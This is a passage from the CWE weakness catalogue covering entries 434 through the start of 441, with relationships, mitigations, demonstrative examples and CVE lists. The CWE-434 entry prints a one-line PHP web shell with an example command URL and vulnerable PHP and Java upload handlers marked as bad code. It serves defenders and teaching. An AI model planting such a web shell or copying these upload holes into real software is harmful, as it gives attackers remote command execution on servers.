[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-434: Unrestricted Upload of File with Dangerous Type

**Weakness ID** : 434

**Structure** : Simple

**Abstraction** : Base

## Description

The product allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	669	Incorrect Resource Transfer Between Spheres	1383
PeerOf	B	351	Insufficient Type Distinction	820
PeerOf	B	430	Deployment of Wrong Handler	985
PeerOf	G	436	Interpretation Conflict	1000
PeerOf	B	430	Deployment of Wrong Handler	985
CanFollow	B	73	External Control of File Name or Path	128
CanFollow	B	183	Permissive List of Allowed Inputs	439
CanFollow	B	184	Incomplete List of Disallowed Inputs	441

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	G	669	Incorrect Resource Transfer Between Spheres	1383

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*



Nature	Type	ID	Name	Page
MemberOf		429	Handler Errors	2119

### Weakness Ordinalities

**Primary** : This can be primary when there is no check at all.

**Resultant** : This is frequently resultant when use of double extensions (e.g. ".php.gif") bypasses a sanity check.

**Resultant** : This can be resultant from client-side enforcement (CWE-602); some products will include web script in web clients to check the filename, without verifying on the server side.

### Applicable Platforms

**Language** : ASP.NET (*Prevalence = Sometimes*)

**Language** : PHP (*Prevalence = Often*)

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Server (*Prevalence = Sometimes*)

### Alternate Terms

**Unrestricted File Upload** : Used in vulnerability databases and elsewhere, but it is insufficiently precise. The phrase could be interpreted as the lack of restrictions on the size or number of uploaded files, which is a resource consumption issue.

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>Arbitrary code execution is possible if an uploaded file is interpreted and executed as code by the recipient. This is especially true for .asp and .php extensions uploaded to web servers because these file types are often treated as automatically executable, even when file system permissions do not specify execution. For example, in Unix environments, programs typically cannot run unless the execute bit is set, but PHP programs may be executed by the web server without directly invoking them on the operating system.</i>	

### Detection Methods

#### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

#### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

#### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High*

### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## **Potential Mitigations**

### **Phase: Architecture and Design**

Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]

### **Phase: Architecture and Design**

*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

### **Phase: Architecture and Design**

Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]

### **Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.

### **Phase: Architecture and Design**

Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.

### **Phase: Implementation**

*Strategy = Input Validation*

Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]

**Phase: Implementation**

When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.

**Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Phase: Implementation**

Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.

**Phase: Implementation**

Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

*The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.*

**Demonstrative Examples****Example 1:**

The following code intends to allow a user to upload a picture to the web server. The HTML code that drives the form on the user end has an input field of type "file".

*Example Language: HTML*

*(Good)*

```
<form action="upload_picture.php" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

Once submitted, the form above sends the file to upload\_picture.php on the web server. PHP stores the file in a temporary location until it is retrieved (or discarded) by the server side code. In this example, the file is moved to a more permanent pictures/ directory.

*Example Language: PHP*

*(Bad)*

```
// Define the target location where the picture being
// uploaded is going to be saved.
$target = "pictures/" . basename($_FILES['uploadedfile']['name']);
// Move the uploaded file to the new location.
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))
{
    echo "The picture has been successfully uploaded.";
}
else
{
    echo "There was an error uploading the picture, please try again.";
}
```

The problem with the above code is that there is no check regarding type of file being uploaded. Assuming that pictures/ is available in the web document root, an attacker could upload a file with the name:

*Example Language:*

*(Attack)*

```
malicious.php
```

Since this filename ends in ".php" it can be executed by the web server. In the contents of this uploaded file, the attacker could use:

*Example Language: PHP*

*(Attack)*

```
<?php
    system($_GET['cmd']);
?>
```

Once this file has been installed, the attacker can enter arbitrary commands to execute using a URL such as:

*Example Language:*

*(Attack)*

```
http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
```

which runs the "ls -l" command - or any other type of command that the attacker wants to specify.

### Example 2:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

Example Language: HTML

(Good)

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Example Language: Java

(Bad)

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf(""));
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.write(line);
                        bw.newLine();
                        bw.flush();
                    }
                }
                //end of for loop
                bw.close();
            } catch (IOException ex) {...}
            // output successful upload response HTML page
        }
        // output unsuccessful upload response HTML page
        else
        {...}
    }
    ...
}
```

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

## Observed Examples

Reference	Description
<b>CVE-2001-0901</b>	Web-based mail product stores ".shtml" attachments that could contain SSI <a href="https://www.cve.org/CVERecord?id=CVE-2001-0901">https://www.cve.org/CVERecord?id=CVE-2001-0901</a>
<b>CVE-2002-1841</b>	PHP upload does not restrict file types <a href="https://www.cve.org/CVERecord?id=CVE-2002-1841">https://www.cve.org/CVERecord?id=CVE-2002-1841</a>
<b>CVE-2005-1868</b>	upload and execution of .php file <a href="https://www.cve.org/CVERecord?id=CVE-2005-1868">https://www.cve.org/CVERecord?id=CVE-2005-1868</a>
<b>CVE-2005-1881</b>	upload file with dangerous extension <a href="https://www.cve.org/CVERecord?id=CVE-2005-1881">https://www.cve.org/CVERecord?id=CVE-2005-1881</a>
<b>CVE-2005-0254</b>	program does not restrict file types <a href="https://www.cve.org/CVERecord?id=CVE-2005-0254">https://www.cve.org/CVERecord?id=CVE-2005-0254</a>
<b>CVE-2004-2262</b>	improper type checking of uploaded files <a href="https://www.cve.org/CVERecord?id=CVE-2004-2262">https://www.cve.org/CVERecord?id=CVE-2004-2262</a>
<b>CVE-2006-4558</b>	Double "php" extension leaves an active php extension in the generated filename. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4558">https://www.cve.org/CVERecord?id=CVE-2006-4558</a>
<b>CVE-2006-6994</b>	ASP program allows upload of .asp files by bypassing client-side checks <a href="https://www.cve.org/CVERecord?id=CVE-2006-6994">https://www.cve.org/CVERecord?id=CVE-2006-6994</a>
<b>CVE-2005-3288</b>	ASP file upload <a href="https://www.cve.org/CVERecord?id=CVE-2005-3288">https://www.cve.org/CVERecord?id=CVE-2005-3288</a>
<b>CVE-2006-2428</b>	ASP file upload <a href="https://www.cve.org/CVERecord?id=CVE-2006-2428">https://www.cve.org/CVERecord?id=CVE-2006-2428</a>

### Functional Areas

- File Processing

### Affected Resources

- File or Directory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	629	2124
MemberOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	2147
MemberOf	C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	2151
MemberOf	C	864	2011 Top 25 - Insecure Interaction Between Components	900	2164
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2235
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354

Nature	Type	ID	Name	V	Page
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses		2357

## Notes

### Relationship

This can have a chaining relationship with incomplete denylist / permissive allowlist errors when the product tries, but fails, to properly limit which types of files are allowed (CWE-183, CWE-184). This can also overlap multiple interpretation errors for intermediaries, e.g. anti-virus products that do not remove or quarantine attachments with certain file extensions that can be processed by client systems.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unrestricted File Upload
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution
OMG ASCSM	ASCSM-CWE-434		

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs

## References

[REF-422]Richard Stanway (r1CH). "Dynamic File Uploads, Security and You". < <http://shsc.info/FileUploadSecurity> >.

[REF-423]Johannes Ullrich. "8 Basic Rules to Implement Secure File Uploads". 2009 December 8. < <http://blogs.sans.org/appsecstreetfighter/2009/12/28/8-basic-rules-to-implement-secure-file-uploads/> >.

[REF-424]Johannes Ullrich. "Top 25 Series - Rank 8 - Unrestricted Upload of Dangerous File Type". 2010 February 5. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/02/25/top-25-series-rank-8-unrestricted-upload-of-dangerous-file-type/> >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

## CWE-435: Improper Interaction Between Multiple Correctly-Behaving Entities

**Weakness ID** : 435

**Structure** : Simple

**Abstraction** : Pillar

### Description

An interaction error occurs when two entities have correct behavior when running independently of each other, but when they are integrated as components in a larger system or process, they introduce incorrect behaviors that may cause resultant weaknesses.

### Extended Description



When a system or process combines multiple independent components, this often produces new, emergent behaviors at the system level. However, if the interactions between these components are not fully accounted for, some of the emergent behaviors can be incorrect or even insecure.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2335
ParentOf	B	188	Reliance on Data/Memory Layout	451
ParentOf	C	436	Interpretation Conflict	1000
ParentOf	B	439	Behavioral Change in New Version or Environment	1003
ParentOf	C	1038	Insecure Automated Optimizations	1737

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Alternate Terms

**Interaction Error** :

**Emergent Fault** :

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State Varies by Context	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	957	SFP Secondary Cluster: Protocol Error	888	2191

## Notes

### Relationship

The "Interaction Error" term, in CWE and elsewhere, is only intended to describe products that behave according to specification. When one or more of the products do not comply with specifications, then it is more likely to be API Abuse (CWE-227) or an interpretation conflict (CWE-436). This distinction can be blurred in real world scenarios, especially when "de facto" standards do not comply with specifications, or when there are no standards but there is widespread adoption. As a result, it can be difficult to distinguish these weaknesses during mapping and classification.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Interaction Errors

## References

[REF-568]Taimur Aslam, Ivan Krsul and Eugene H. Spafford. "Use of A Taxonomy of Security Faults". 1995 August 1. < <http://csrc.nist.gov/nissc/1996/papers/NISSC96/paper057/PAPER.PDF> >.

## CWE-436: Interpretation Conflict

**Weakness ID** : 436

**Structure** : Simple

**Abstraction** : Class

### Description

Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.

### Extended Description

This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that monitor, allow, deny, or modify traffic based on how the client or server is expected to behave.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	435	Improper Interaction Between Multiple Correctly-Behaving Entities	998
ParentOf	Ⓧ	86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages	185
ParentOf	Ⓧ	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')	263
ParentOf	Ⓟ	115	Misinterpretation of Input	271
ParentOf	Ⓟ	437	Incomplete Model of Endpoint Features	1002
ParentOf	Ⓟ	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')	1009
ParentOf	Ⓧ	626	Null Byte Interaction Error (Poison Null Byte)	1312
ParentOf	Ⓧ	650	Trusting HTTP Permission Methods on the Server Side	1348
PeerOf	Ⓟ	351	Insufficient Type Distinction	820
PeerOf	Ⓟ	434	Unrestricted Upload of File with Dangerous Type	991

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	Ⓟ	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')	1009

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Varies by Context	

## Demonstrative Examples

### Example 1:

The paper "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection" [REF-428] shows that OSES varied widely in how they manage unusual packets, which made it difficult or impossible for intrusion detection systems to properly detect certain attacker manipulations that took advantage of these OS differences.

### Example 2:



Null characters have different interpretations in Perl and C, which have security consequences when Perl invokes C functions. Similar problems have been reported in ASP [REF-429] and PHP.

## Observed Examples

Reference	Description
<b>CVE-2005-1215</b>	Bypass filters or poison web cache using requests with multiple Content-Length headers, a non-standard behavior. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1215">https://www.cve.org/CVERecord?id=CVE-2005-1215</a>
<b>CVE-2002-0485</b>	Anti-virus product allows bypass via Content-Type and Content-Disposition headers that are mixed case, which are still processed by some clients. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0485">https://www.cve.org/CVERecord?id=CVE-2002-0485</a>
<b>CVE-2002-1978</b>	FTP clients sending a command with "PASV" in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1978">https://www.cve.org/CVERecord?id=CVE-2002-1978</a>
<b>CVE-2002-1979</b>	FTP clients sending a command with "PASV" in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1979">https://www.cve.org/CVERecord?id=CVE-2002-1979</a>
<b>CVE-2002-0637</b>	Virus product bypass with spaces between MIME header fields and the ":" separator, a non-standard message that is accepted by some clients. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0637">https://www.cve.org/CVERecord?id=CVE-2002-0637</a>
<b>CVE-2002-1777</b>	AV product detection bypass using inconsistency manipulation (file extension in MIME Content-Type vs. Content-Disposition field). <a href="https://www.cve.org/CVERecord?id=CVE-2002-1777">https://www.cve.org/CVERecord?id=CVE-2002-1777</a>
<b>CVE-2005-3310</b>	CMS system allows uploads of files with GIF/JPG extensions, but if they contain HTML, Internet Explorer renders them as HTML instead of images. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3310">https://www.cve.org/CVERecord?id=CVE-2005-3310</a>
<b>CVE-2005-4260</b>	Interpretation conflict allows XSS via invalid "<" when a ">" is expected, which is treated as ">" by many web browsers. <a href="https://www.cve.org/CVERecord?id=CVE-2005-4260">https://www.cve.org/CVERecord?id=CVE-2005-4260</a>
<b>CVE-2005-4080</b>	Interpretation conflict (non-standard behavior) enables XSS because browser ignores invalid characters in the middle of tags. <a href="https://www.cve.org/CVERecord?id=CVE-2005-4080">https://www.cve.org/CVERecord?id=CVE-2005-4080</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		957	SFP Secondary Cluster: Protocol Error	888	2191
MemberOf		1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Multiple Interpretation Error (MIE)
WASC	27		HTTP Response Smuggling

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
34	HTTP Response Splitting
105	HTTP Request Splitting
273	HTTP Response Smuggling

### References

[REF-427]Steve Christey. "On Interpretation Conflict Vulnerabilities". Bugtraq. 2005 November 3. < <http://seclists.org/bugtraq/2005/Nov/30> >.

[REF-428]Thomas H. Ptacek and Timothy N. Newsham. "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection". 1998 January. < [http://www.insecure.org/stf/secnet\\_ids/secnet\\_ids.pdf](http://www.insecure.org/stf/secnet_ids/secnet_ids.pdf) >.

[REF-429]Brett Moore. "0x00 vs ASP file upload scripts". 2004 July 3. < [http://www.security-assessment.com/Whitepapers/0x00\\_vs\\_ASP\\_File\\_Uploads.pdf](http://www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf) >.

[REF-430]Rain Forest Puppy. "Poison NULL byte". Phrack.

[REF-431]David F. Skoll. "Re: Corsaire Security Advisory - Multiple vendor MIME RFC2047 encoding". Bugtraq. 2004 September 5. < <http://marc.info/?l=bugtraq&m=109525864717484&w=2> >.

## CWE-437: Incomplete Model of Endpoint Features

**Weakness ID** : 437

**Structure** : Simple

**Abstraction** : Base


### Description

A product acts as an intermediary or monitor between two or more endpoints, but it does not have a complete model of an endpoint's features, behaviors, or state, potentially causing the product to perform incorrect actions based on this incomplete model.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		436	Interpretation Conflict	1000

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	2120

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Varies by Context	

### Demonstrative Examples

#### Example 1:

HTTP request smuggling is an attack against an intermediary such as a proxy. This attack works because the proxy expects the client to parse HTTP headers one way, but the client parses them differently.

#### Example 2:

Anti-virus products that reside on mail servers can suffer from this issue if they do not know how a mail client will handle a particular attachment. The product might treat an attachment type as safe, not knowing that the client's configuration treats it as executable.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	957	SFP Secondary Cluster: Protocol Error	888	2191

### Notes

#### Relationship

This can be related to interaction errors, although in some cases, one of the endpoints is not performing correctly according to specification.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Extra Unhandled Features

## CWE-439: Behavioral Change in New Version or Environment

**Weakness ID :** 439

**Structure :** Simple

**Abstraction :** Base

### Description

A's behavior or functionality changes with a new version of A, or a new environment, which is not known (or manageable) by B.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	435	Improper Interaction Between Multiple Correctly-Behaving Entities	998

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	438	Behavioral Problems	2120

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Alternate Terms

**Functional change** :

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

### Observed Examples

Reference	Description
<b>CVE-2002-1976</b>	Linux kernel 2.2 and above allow promiscuous mode using a different method than previous versions, and ifconfig is not aware of the new method (alternate path property). <a href="https://www.cve.org/CVERecord?id=CVE-2002-1976">https://www.cve.org/CVERecord?id=CVE-2002-1976</a>
<b>CVE-2005-1711</b>	Product uses defunct method from another product that does not return an error code and allows detection avoidance. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1711">https://www.cve.org/CVERecord?id=CVE-2005-1711</a>
<b>CVE-2003-0411</b>	chain: Code was ported from a case-sensitive Unix platform to a case-insensitive Windows platform where filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text". <a href="https://www.cve.org/CVERecord?id=CVE-2003-0411">https://www.cve.org/CVERecord?id=CVE-2003-0411</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	1001	SFP Secondary Cluster: Use of an Improper API	888	2213

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			CHANGE Behavioral Change

## CWE-440: Expected Behavior Violation

**Weakness ID** : 440

**Structure** : Simple

**Abstraction** : Base

### Description

A feature, API, or function does not perform according to its specification.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		684	Incorrect Provision of Specified Functionality	1410

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	2120

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

### Common Consequences





Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

### Observed Examples

Reference	Description
<b>CVE-2003-0187</b>	Program uses large timeouts on "undeserving" to compensate for inconsistency of support for linked lists. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0187">https://www.cve.org/CVERecord?id=CVE-2003-0187</a>
<b>CVE-2003-0465</b>	"strncpy" in Linux kernel acts different than libc on x86, leading to expected behavior difference - sort of a multiple interpretation error? <a href="https://www.cve.org/CVERecord?id=CVE-2003-0465">https://www.cve.org/CVERecord?id=CVE-2003-0465</a>
<b>CVE-2005-3265</b>	Buffer overflow in product stems the use of a third party library function that is expected to have internal protection against overflows, but doesn't. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3265">https://www.cve.org/CVERecord?id=CVE-2005-3265</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1001	SFP Secondary Cluster: Use of an Improper API	888	2213
MemberOf		1208	Cross-Cutting Problems	1194	2268
MemberOf		1368	ICS Dependencies (& Architecture): External Digital Systems	1358	2297

### Notes

#### Theoretical

The behavior of an application that is not consistent with the expectations of the developer may lead to incorrect use of the software.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Expected behavior violation

## CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

**Weakness ID** : 441

**Structure** : Simple



**Abstraction** : Class

## Description

